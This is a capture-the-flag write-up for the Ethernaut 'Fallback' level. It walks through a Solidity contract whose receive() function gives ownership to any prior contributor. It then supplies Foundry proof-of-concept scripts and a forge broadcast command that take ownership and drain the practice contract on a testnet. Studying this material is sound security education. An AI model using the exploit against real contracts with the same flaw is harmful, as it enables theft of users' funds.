Ethernaut Series - 01

The challenge asks us to claim the ownership of the contract and reduce its balance to 0. In this case, we have been provided with the contract itself.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
The contract presents 3 major functions, namely:
contribute(): The function is labeled aspayableandpublicwhich basically means that it can receive ether. As the name suggests, it is used to send or contribute, funds to the contract while logging themsg.senderand their corresponding contributions.It also checks if the contributions made by a
msg.sendera.k.a user, is more than the that of theownerand if so, then thismsg.senderis assigned to theownervariable i.e. making him the owner.withdraw(): As the name suggests, this function will allow us to withdraw our balance from the contract. However, it has anonlyOwnermodifier which means that only theowneraddress is allowed to withdraw from this contract.receive(): The function is capable of receiving ether, and is used when the msg body of a transaction is empty i.e. when only ether transfer is made (nocalldata, such assend,transfer, andcallfunctions).
It has 2 conditions to allow its execution:The
msg.valueshould be greater than0.The contribution by the
msg.sendershould be greater than0, i.e. the user should have contributed some amount to the contract.
Solution
The receive() function simply assigns the msg.sender as the owner if any contribution is made - which is a vulnerability.
First we need to send some ether using the
contribute()function so that the latter condition inside thereceive()function is satisfied.We need to send a value >
0in our call to thereceive()function.
Proof-Of-Concept
We’ll use foundry to write our test script. My first script looks like this:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../lib/forge-std/src/Test.sol";
import "../original-contracts/level1.sol";
contract POC is Test{
Fallback level1 = Fallback(0xAABEd58e8EbFA8FAc885755C65020ef4CC0E7FFB);
function test() external {
vm.startBroadcast();
level1.contribute{value: 1 wei}();
level1.getContribution();
address(level1).transfer(1 wei);
level1.owner();
vm.stopBroadcast();
}
}
Executing the above script gives us the following error:

As can be seen, the transaction ran out of gas. This happened because transfer or send function only send 2300 gas whereas call() sends all the gas provided to it. Note that when you want to just send Ether to another contract via a fallback function, call() is the recommended approach.

Now we can broadcast this transaction to the Sepolia network using the following script and command:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../lib/forge-std/src/Script.sol";
import "../original-contracts/level1.sol";
contract POC is Script{
Fallback level1 = Fallback(0xAABEd58e8EbFA8FAc885755C65020ef4CC0E7FFB);
function run() external {
vm.startBroadcast();
level1.contribute{value: 1 wei}();
level1.getContribution();
address(level1).call{value: 1 wei}("");
level1.owner();
level1.withdraw();
vm.stopBroadcast();
}
}
Command:
forge script ./script/level1.sol --private-key $PKEY--broadcast -vvvv --rpc-url $RPC_URL

All calls were successful, and we became the owner of the contract. Now we can submit the instance to complete the level.
All of these scripts and tests can be found on my github repo as well.



